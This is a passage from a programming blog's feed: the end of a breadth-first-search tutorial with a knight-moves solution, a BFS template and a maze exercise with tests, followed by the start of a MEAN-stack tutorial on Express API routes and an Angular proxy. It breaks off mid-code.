class="keyword">const</span> [nx, ny] <span class="keyword">of</span> next) &#123; <span class="comment">// next x and y</span></span><br><span class="line">      <span class="keyword">if</span> (seen.has([nx, ny].toString())) <span class="keyword">continue</span>;</span><br><span class="line">      seen.add([nx, ny].toString());</span><br><span class="line">      queue.push([[nx, ny], moves + <span class="number">1</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>What??? No fancy <code>Graph</code> nor <code>Queue</code> class? And less than 20 lines of code?! Yep 😉</p>
<p>We have an old-school array as a Queue, where we store 3 values: the <code>[x, y]</code> coordinate and the number of <code>moves</code> so far. We initialized everything to <code>0</code>.</p>
<p>It’s vital to keep track of the positions that you have “seen.” Otherwise, you will repeat visited places and make your program very slow or run out of memory! For that, we have a <code>Set</code>.</p>
<p>GOTCHA: the <code>Set</code> in JavaScript for Array values works by reference and not by value. To overcome this issue, we have to convert the array to a string.</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> s = <span class="keyword">new</span> <span class="built_in">Set</span>();</span><br><span class="line"></span><br><span class="line">s.add([<span class="number">0</span>, <span class="number">0</span>]);</span><br><span class="line"><span class="built_in">console</span>.log(s.has([<span class="number">0</span>, <span class="number">0</span>])); <span class="comment">// false 🙀</span></span><br><span class="line"></span><br><span class="line">s.add([<span class="number">0</span>, <span class="number">0</span>].toString());</span><br><span class="line"><span class="built_in">console</span>.log(s.has([<span class="number">0</span>, <span class="number">0</span>].toString())); <span class="comment">// true 👍</span></span><br></pre></td></tr></table></figure>

<p>Ok, moving on, We reach the <code>for...of</code> loop. Here we dequeue values. Notice that we are NOT using <code>queue.shift()</code>, to take values from the front of the queue. This is because <code>shift</code> has a time complexity of <code>O(n)</code>. It will take the first element from the array and then “shift” all the other elements one position. Imagine that you have an array of millions of items. It will move all of them! There are two ways to avoid that overhead; we iterate the queue or implement a queue using a LinkedList.</p>
<p>After we dequeue an element, the first thing we do is to check if it is a solution. If it is, we return the number of movements that took us to get there, and we are done!</p>
<p>If the dequeued element didn’t match the target, we need to calculate the next eight possible positions given the current x and y. Remember a knight moves in L, so it will be translated to <code>1</code> position on <code>x</code> and <code>2</code> on <code>y</code> or vice-versa:</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> next = [[x + <span class="number">1</span>, y + <span class="number">2</span>], [x + <span class="number">2</span>, y + <span class="number">1</span>], [x + <span class="number">2</span>, y - <span class="number">1</span>], [x + <span class="number">1</span>, y - <span class="number">2</span>], [x - <span class="number">1</span>, y - <span class="number">2</span>], [x - <span class="number">2</span>, y - <span class="number">1</span>], [x - <span class="number">2</span>, y + <span class="number">1</span>], [x - <span class="number">1</span>, y + <span class="number">2</span>]];</span><br><span class="line"><span class="comment">// for x=0, y=0: [[1,2],[2,1],[2,-1],[1,-2],[-1,-2],[-2,-1],[-2,1],[-1,2]]</span></span><br></pre></td></tr></table></figure>

<p>You can also get fancy and calculate it using two <code>Array.map</code>s</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> next = [<span class="number">1</span>, <span class="number">-1</span>].map(<span class="function">(<span class="params">i</span>) =&gt;</span> [<span class="number">2</span>, <span class="number">-2</span>].map(<span class="function">(<span class="params">j</span>) =&gt;</span> [[x + i, y + j], [x + j, y + i]])).flat(<span class="number">2</span>);</span><br><span class="line"><span class="comment">// for x=0, y=0: [[1,2],[2,1],[2,-1],[1,-2],[-1,-2],[-2,-1],[-2,1],[-1,2]]</span></span><br></pre></td></tr></table></figure>

<p>Or also, using two <code>Array.reduce</code>s</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> next = [<span class="number">1</span>, <span class="number">-1</span>].reduce(<span class="function">(<span class="params">a, i</span>) =&gt;</span> [<span class="number">2</span>, <span class="number">-2</span>].reduce(<span class="function">(<span class="params">b, j</span>) =&gt;</span> [...b, [x + i, y + j], [x + j, y + i]], a), []);</span><br><span class="line"><span class="comment">// for x=0, y=0: [[1,2],[2,1],[2,-1],[1,-2],[-1,-2],[-2,-1],[-2,1],[-1,2]]</span></span><br></pre></td></tr></table></figure>

<p>Once you generate the 8 next positions, you need to add them all to the queue and add <code>+1</code> to the current place. Finally, we don’t add a location to the queue if we have already seen it before.</p>
<p>That’s it!</p>
</details>

<p>How did you do? Paste your solution and questions in the comments section!</p>
<p>Most BFS problems follow the same pattern:</p>
<ol>
<li>Initialize queue</li>
<li>Initialize set to keep track of the visited positions.</li>
<li>Loop until the queue is empty or you find a solution.</li>
<li>Dequeue element from the queue and check if it’s a solution.</li>
<li>If it’s not part of the solution, move to get the next possible moves (neighbor nodes).</li>
<li>Skip seen nodes.</li>
<li>Mark the next node, as seen.</li>
<li>Add neighbors to queue and increase the distance.</li>
<li>If you didn’t find the answer, return something like -1/null/undefined.</li>
</ol>
<h4 id="BFS-Template"><a href="#BFS-Template" class="headerlink" title="BFS Template"></a>BFS Template</h4><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">bfs</span>(<span class="params">target</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> queue = [[<span class="number">0</span>, <span class="number">0</span>]]; <span class="comment">// 1. Initialize queue with Node and current distance 0</span></span><br><span class="line">  <span class="keyword">const</span> seen = <span class="keyword">new</span> <span class="built_in">Set</span>(<span class="number">0</span>); <span class="comment">// 2. Initialize set</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">const</span> [current, distance] <span class="keyword">of</span> queue) &#123; <span class="comment">// 3. Loop until the queue is empty</span></span><br><span class="line">    <span class="keyword">if</span> (current === target) <span class="keyword">return</span> distance; <span class="comment">// 4. Check dequeued is solution</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">const</span> [neighbor, currDist] <span class="keyword">of</span> getNeighbors(node)) &#123; <span class="comment">// 5. Get next possible moves (neighbor nodes)</span></span><br><span class="line">      <span class="keyword">if</span> (seen.has(neighbor) <span class="keyword">continue</span>; <span class="comment">// 6. Skip seen nodes</span></span><br><span class="line">      seen.add(neighbor); <span class="comment">// 7. Mark next node as seen.</span></span><br><span class="line">      queue.push([neighbor, currDist + <span class="number">1</span>]); <span class="comment">// 8. Add neighbor to queue and increase the distance.</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="number">-1</span>; <span class="comment">// 9. If you didn&#x27;t find the answer, return something like -1/null/undefined.</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getNeighbors</span>(<span class="params">node</span>) </span>&#123;</span><br><span class="line">  <span class="comment">// <span class="doctag">TODO:</span> implement based on the problem.</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


<p>Here’s another exercise to practice</p>
<h4 id="Maze-Path"><a href="#Maze-Path" class="headerlink" title="Maze Path"></a>Maze Path</h4><blockquote>

<p>You have a ball at a starting point, that can roll up, down, left and right. However, the ball won’t stop rolling until it hits a wall. Your task is to check if there’s a path from start to destination. You may assume that the borders of the maze are all walls.</p>
<p>The maze is represented in a grid (2d array):</p>
<ul>
<li>Walls are represented as <code>1</code>.</li>
<li>Empty spaces are <code>0</code>.</li>
</ul>
<p>E.g.:</p>
<img src="/images/maze-ball-game-by-me2.png" alt="maze ball game" style="float:right; margin: 10px;">
<pre class="clear">
start = [ 0, 4 ]
end = [ 4, 4 ]
maze = [
  [ 0, 0, 1, 0, 0 ],
  [ 0, 0, 0, 0, 0 ],
  [ 0, 0, 0, 1, 0 ],
  [ 1, 1, 0, 1, 1 ],
  [ 0, 0, 0, 0, 0 ]
]
</pre>

</blockquote>
<div style="clear: both;"></div>


<p>Give it a try!</p>
<pre class="runkit">
/**
 * You have a ball at a starting point that can roll up, down, left and right.
 * However, the ball won't stop rolling until it hits a wall.
 * Your tasks is to check if there's a path from start to destination
 * You may assume that the borders of the maze are all walls.
 *
 * @param {number[][]} maze - 2D array where 1 = wall and 0 = empty.
 * @param {number[]} start - [row, col] of the starting point
 * @param {number[]} destination - [row, col] target destination
 * @return {boolean}
 */
function hasPath(maze, start, destination) {

};

// --- testing ---

const assert = require('assert');

assert.equal(hasPath([
  [ 0 ]
], [0, 0], [0, 0]), true, 'should pass case #1');

assert.equal(hasPath([
  [ 1 ]
], [0, 0], [0, 0]), false, 'should pass case #2');

assert.equal(hasPath([
  [ 0, 0, 0 ]
], [0, 0], [0, 2]), true, 'should pass case #3');

assert.equal(hasPath([
    [ 0, 0, 0 ],
], [0, 0], [0, 1]), false, 'should pass case #4');

assert.equal(hasPath([
  [ 0, 1, 0 ],
], [0, 0], [0, 2]), false, 'should pass case #5');

assert.equal(hasPath([
  [ 0, 1, 0 ],
  [ 0, 0, 0 ],
], [0, 2], [0, 0]), true, 'should pass case #6');

assert.equal(hasPath([
  [ 0, 0, 1, 0, 0 ],
  [ 0, 0, 0, 0, 0 ],
  [ 0, 0, 0, 1, 0 ],
  [ 1, 1, 0, 1, 1 ],
  [ 0, 0, 0, 0, 0 ]
], [ 0, 4 ], [ 3, 2 ]), false, 'should pass case #7');

assert.equal(hasPath([
  [ 0, 0, 1, 0, 0 ],
  [ 0, 0, 0, 0, 0 ],
  [ 0, 0, 0, 1, 0 ],
  [ 1, 1, 0, 1, 1 ],
  [ 0, 0, 0, 0, 0 ]
], [ 0, 4 ], [ 4, 4 ]), true, 'should pass case #8');

console.log('Congrats! 👏👏👏  All tests passed! 🍎');
</pre>


<details>
  <summary>My answer to the maze problem</summary>
  <div class="content">

<p>We can solve this problem using the BFS template.
The tricky part is to know that the ball is going to roll until it hit a wall.
So, we have to roll in one direction until we hit a wall (1) or end.</p>
<!--  https://stackblitz.com/edit/angular-maze-505 -->

<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">hasPath</span>(<span class="params">maze, start, dest</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> queue = [[start, <span class="number">0</span>]];</span><br><span class="line">  <span class="keyword">const</span> seen = <span class="keyword">new</span> <span class="built_in">Set</span>([start.join()]);</span><br><span class="line">  <span class="keyword">const</span> directions = [[<span class="number">0</span>,<span class="number">1</span>], [<span class="number">0</span>,<span class="number">-1</span>], [<span class="number">1</span>,<span class="number">0</span>], [<span class="number">-1</span>,<span class="number">0</span>]]; <span class="comment">// right, left, down and up.</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> [[r, c], dist] <span class="keyword">of</span> queue) &#123;</span><br><span class="line">    <span class="keyword">if</span> (r === dest[<span class="number">0</span>] &amp;&amp; c === dest[<span class="number">1</span>] &amp;&amp; maze[r] &amp;&amp; maze[r][c] === <span class="number">0</span>) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> [dr, dc] <span class="keyword">of</span> directions) &#123;</span><br><span class="line">      <span class="keyword">let</span> nr = r, nc = c; <span class="comment">// IMPORTANT: reset coordinates</span></span><br><span class="line">      <span class="keyword">while</span> (maze[nr + dr] &amp;&amp; maze[nr + dr][nc + dc] === <span class="number">0</span>) &#123;</span><br><span class="line">          nr += dr;</span><br><span class="line">          nc += dc;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (seen.has([nr, nc].join())) <span class="keyword">continue</span>;</span><br><span class="line">      seen.add([nr, nc].join());</span><br><span class="line">      queue.push([[nr, nc], dist + <span class="number">1</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

  </div>
</details>


<p>How did you do? Feel free to ask me any questions below!</p>
<!-- the end -->

<script src="https://embed.runkit.com"></script>
<script>
const elements = [...document.getElementsByClassName('runkit')]
const notebooks = elements.reduce((notebooks, element) => {
    const innerText = element.firstChild
    const currentCell = window.RunKit.createNotebook({
        element,
        gutterStyle: 'inside', //element.getAttribute("data-gutter"),
        source: innerText.textContent,
        nodeVersion: '14',
        // Remove the text content of the pre tag after the embed has loaded
        onLoad: () => innerText.remove()
    })
  return notebooks;
}, []);
</script>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Graphs are one of my favorite data structures because you can model many real-life situations with them. Such problems involve finding the shortest paths between 2 or more locations, scheduling courses, finding relationships in family trees, solving mazes, and many more! As a result, it’s ubiquitous in tech interview questions. In this article, we are going to demystify it.&lt;/p&gt;
    
    </summary>
    
      <category term="Programming" scheme="https://adrianmejia.com/categories/programming/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/programming/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="big-o notation" scheme="https://adrianmejia.com/tags/big-o-notation/"/>
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>Modern MEAN Stack Tutorial with Docker (Angular, Node, Typescript and Mongodb)</title>
    <link href="https://adrianmejia.com/angular-todo-mean-stack-node-mongodb-typescript-tutorial/"/>
    <id>https://adrianmejia.com/angular-todo-mean-stack-node-mongodb-typescript-tutorial/</id>
    <published>2020-02-27T23:51:28.000Z</published>
    <updated>2020-02-27T23:51:28.000Z</updated>
    
    <content type="html"><![CDATA[<p>The <abbr title="MongoDB, Express, Angular and Node.js">MEAN</abbr> stack allows you to build complete applications using one programming language: JavaScript. In this tutorial, we made upon the first part (<a href="/angular-2-tutorial-create-a-crud-app-with-angular-cli-and-typescript/">Creating an Angular app</a>) which built the front-end, and this part builds the backend with a RESTful API and Database.</p>
<a id="more"></a>

<h2 id="REST-API-with-Node-js"><a href="#REST-API-with-Node-js" class="headerlink" title="REST API with Node.js"></a>REST API with Node.js</h2><p>We are going to use express-generator and create a folder called <code>server</code>.</p>
<p>First, install the generator packages:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm i -g express-generator</span><br></pre></td></tr></table></figure>

<p>Note: You should have Node and NPM/Yarn installed.</p>
<h3 id="REST-API-using-ExpressJS"><a href="#REST-API-using-ExpressJS" class="headerlink" title="REST API using ExpressJS"></a>REST API using ExpressJS</h3><p>Now let’s scaffold the App using the generator:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">express server -e</span><br></pre></td></tr></table></figure>

<p>Let’s install all its dependencies on the server folder:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> server &amp;&amp; npm i</span><br></pre></td></tr></table></figure>

<p>and now let’s make sure it’s working:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm start</span><br></pre></td></tr></table></figure>
<!-- env DEBUG="server:*" npm start -->

<p>Go to localhost on port 3000 and make sure you can see a “Welcome to Express.”</p>
<p><a href="http://localhost:3000/">http://localhost:3000/</a></p>
<blockquote>
<p>Changes: <a href="https://github.com/amejiarosario/angular-todo-app/commit/a3fcacd">a3fcacd</a> - REST API using ExpressJS: scaffold</p>
</blockquote>
<h3 id="Creating-a-host-alias-for-the-server"><a href="#Creating-a-host-alias-for-the-server" class="headerlink" title="Creating a host alias for the server"></a>Creating a host alias for the server</h3><p>We want to run the server to work regardless of the environment where we run it. (It will be useful for Docker later on)</p>
<p>For that we can create an alias by editing the <code>hosts</code>:</p>
<ul>
<li>Windows: <code>c:\windows\system32\drivers\etc\hosts</code></li>
<li>Linux/Mac: <code>/etc/hosts</code></li>
</ul>
<p>Once you can open the file, you drop the following line at the end:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1 server</span><br></pre></td></tr></table></figure>

<p>Now you should be able to access the server by visiting:</p>
<p><a href="http://server:3000/">http://server:3000/</a></p>
<p>(If you have trouble editing the host file, take a look <a href="https://www.howtogeek.com/howto/27350/beginner-geek-how-to-edit-your-hosts-file/">here</a>)</p>
<h3 id="Creating-API-routes-and-responding-to-requests"><a href="#Creating-API-routes-and-responding-to-requests" class="headerlink" title="Creating API routes and responding to requests"></a>Creating API routes and responding to requests</h3><p>Now we are going to create a new route:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;api&#x2F;todos[&#x2F;:id]</span><br></pre></td></tr></table></figure>

<p>This route will get all our todos, update, and delete them.</p>
<p>Create a new router file called todos in the following path:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">touch server&#x2F;routes&#x2F;todos.js</span><br></pre></td></tr></table></figure>

<p>and add this initial content:</p>
<figure class="highlight js"><figcaption><span>server/routes/todos.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> express = <span class="built_in">require</span>(<span class="string">&#x27;express&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> router = express.Router();</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> TODOS = [</span><br><span class="line">  &#123; <span class="attr">title</span>: <span class="string">&#x27;Create API to get this list&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">true</span> &#125;,</span><br><span class="line">  &#123; <span class="attr">title</span>: <span class="string">&#x27;Connect API with Angular&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">true</span> &#125;,</span><br><span class="line">  &#123; <span class="attr">title</span>: <span class="string">&#x27;Connect server with mongo&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line">  &#123; <span class="attr">title</span>: <span class="string">&#x27;Publish app&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="comment">/* GET /api/todos */</span></span><br><span class="line">router.get(<span class="string">&#x27;/&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    res.json(TODOS);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    res.status(<span class="number">500</span>).json(&#123; error &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = router;</span><br></pre></td></tr></table></figure>

<p>All this is doing is replying to the GET commands and returning a hard-coded list of todos.
We will replace it later to get data from mongo instead.</p>
<p>Then we need to register the route as follows:</p>
<figure class="highlight js"><figcaption><span>server/app.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> todosRouter = <span class="built_in">require</span>(<span class="string">&#x27;./routes/todos&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line">app.use(<span class="string">&#x27;/api/todos&#x27;</span>, todosRouter);</span><br></pre></td></tr></table></figure>

<p>The method <code>use</code> registers the new path <code>/api/todos</code>. When we get any call on this path, our <code>todosRouter</code> will handle it.</p>
<p>You can restart your server or use nodemon to pick up changes and refresh the browser.</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## npm i -g nodemon</span></span><br><span class="line">nodemon server/bin/www</span><br></pre></td></tr></table></figure>

<p>That should get your server running. Now you can see it in action using cURL:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl -XGET server:3000/api/todos</span><br><span class="line"><span class="comment">## curl -XGET localhost:3000/api/todos</span></span><br></pre></td></tr></table></figure>

<p>This command should get you all the lists in JSON format!</p>
<p>In the next step, we will query the server using Angular instead of <code>curl</code>.
After that, we will complete the rest of the operations (update, delete, create).</p>
<blockquote>
<p><a href="https://github.com/amejiarosario/angular-todo-app/commit/6f8a502">6f8a502</a> - Creating API routes and responding to requests</p>
</blockquote>
<h2 id="Connecting-REST-API-with-Angular-App"><a href="#Connecting-REST-API-with-Angular-App" class="headerlink" title="Connecting REST API with Angular App."></a>Connecting REST API with Angular App.</h2><p>Let’s now prepare our angular App to use the server API that we just created.</p>
<p>As you might know, when you run <code>ng serve</code>, it will trigger a development server.
However, our API is an entirely different server. To be able to connect the two, we need to create a proxy.</p>
<h3 id="Creating-a-proxy-in-Angular-to-talk-to-the-API-server"><a href="#Creating-a-proxy-in-Angular-to-talk-to-the-API-server" class="headerlink" title="Creating a proxy in Angular to talk to the API server"></a>Creating a proxy in Angular to talk to the API server</h3><p>Let’s create a new file that will tell Angular when to look for specific HTTP paths.
In this case, we are going to defer all <code>/api</code> to our express server.</p>
<figure class="highlight js"><figcaption><span>src/proxy.conf.json</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;/api&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;target&quot;</span>: <span class="string">&quot;http://server:3000&quot;</span>,</span><br><span class="line">    <span class="string">&quot;secure&quot;</span>: <span class="literal">false</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>(This will need the <a href="#Creating-a-host-alias-for-the-server">host alias</a> from the step before)</p>
<p>Then, we have to tell Angular to load this file when we are serving the App.
We are going to do that in the <code>angular.json</code> file.</p>
<p>If you are using the same version of angular CLI, you need to insert this on line 71:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;proxyConfig&quot;: &quot;src&#x2F;proxy.conf.json&quot;</span><br></pre></td></tr></table></figure>

<p>For some context, here are the surrounding elements:</p>
<figure class="highlight js"><figcaption><span>angular.json > projects > Todos > architect > serve > options</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;$schema&quot;</span>: <span class="string">&quot;./node_modules/@angular/cli/lib/config/schema.json&quot;</span>,</span><br><span class="line">  <span class="comment">// ...</span></span><br><span class="line">  <span class="string">&quot;projects&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;Todos&quot;</span>: &#123;</span><br><span class="line">      <span class="comment">// ...</span></span><br><span class="line">      <span class="string">&quot;architect&quot;</span>: &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">        <span class="string">&quot;serve&quot;</span>: &#123;</span><br><span class="line">          <span class="string">&quot;builder&quot;</span>: <span class="string">&quot;@angular-devkit/build-angular:dev-server&quot;</span>,</span><br><span class="line">          <span class="string">&quot;options&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;browserTarget&quot;</span>: <span class="string">&quot;Todos:build&quot;</span>,</span><br><span class="line">            <span class="string">&quot;proxyConfig&quot;</span>: <span class="string">&quot;src/proxy.conf.json&quot;</span>  <span class="comment">// &lt;-- Insert this line</span></span><br><span class="line">          &#125;,</span><br><span class="line">          <span class="comment">// ...</span></span><br><span class="line">        &#125;,</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">      &#125;</span><br><span class="line">    &#125;&#125;,</span><br><span class="line">  <span class="string">&quot;defaultProject&quot;</span>: <span class="string">&quot;Todos&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Now our App will pass all requests that start with <code>/api</code> to <code>http://localhost:3000</code> (or whatever path you specified on the proxy.conf).</p>
<p>Next, we are going to make use of these new routes!</p>
<blockquote>
<p><a href="https://github.com/amejiarosario/angular-todo-app/commit/e81ddb8">e81ddb8</a> - Creating a proxy in Angular to talk to the API server</p>
</blockquote>
<h3 id="Using-HTTP-Client-to-talk-to-the-server"><a href="#Using-HTTP-Client-to-talk-to-the-server" class="headerlink" title="Using HTTP Client to talk to the server"></a>Using HTTP Client to talk to the server</h3><p>To talk to the server, we are going to use the <code>HttpClient</code> module.</p>
<p>Let’s go to the app.module and let’s import it:</p>
<figure class="highlight js"><figcaption><span>src/app/app.module.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; HttpClientModule &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/common/http&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line">@NgModule(&#123;</span><br><span class="line">  declarations: [</span><br><span class="line">    AppComponent,</span><br><span class="line">    TodoComponent</span><br><span class="line">  ],</span><br><span class="line">  imports: [</span><br><span class="line">    BrowserModule,</span><br><span class="line">    AppRoutingModule,</span><br><span class="line">    FormsModule,</span><br><span class="line">    RouterModule.forRoot(routes),</span><br><span class="line">    HttpClientModule, <span class="comment">// &lt;---- import module</span></span><br><span class="line">  ],</span><br><span class="line">  providers: [],</span><br><span class="line">  bootstrap: [AppComponent]</span><br><span class="line">&#125;)</span><br><span class="line"><span class="keyword">export</span> <span class="class"><span class="keyword">class</span> <span class="title">AppModule</span> </span>&#123; &#125;</span><br></pre></td></tr></table></figure>

<p>Now that the HttpClient is available in our App let’s add it to the service and make use of it.</p>
<figure class="highlight ts"><figcaption><span>src/app/todo/todo.service.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; HttpClient &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/common/http&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> API = <span class="string">&#x27;/api/todos&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@Injectable</span>(&#123;</span><br><span class="line">  providedIn: <span 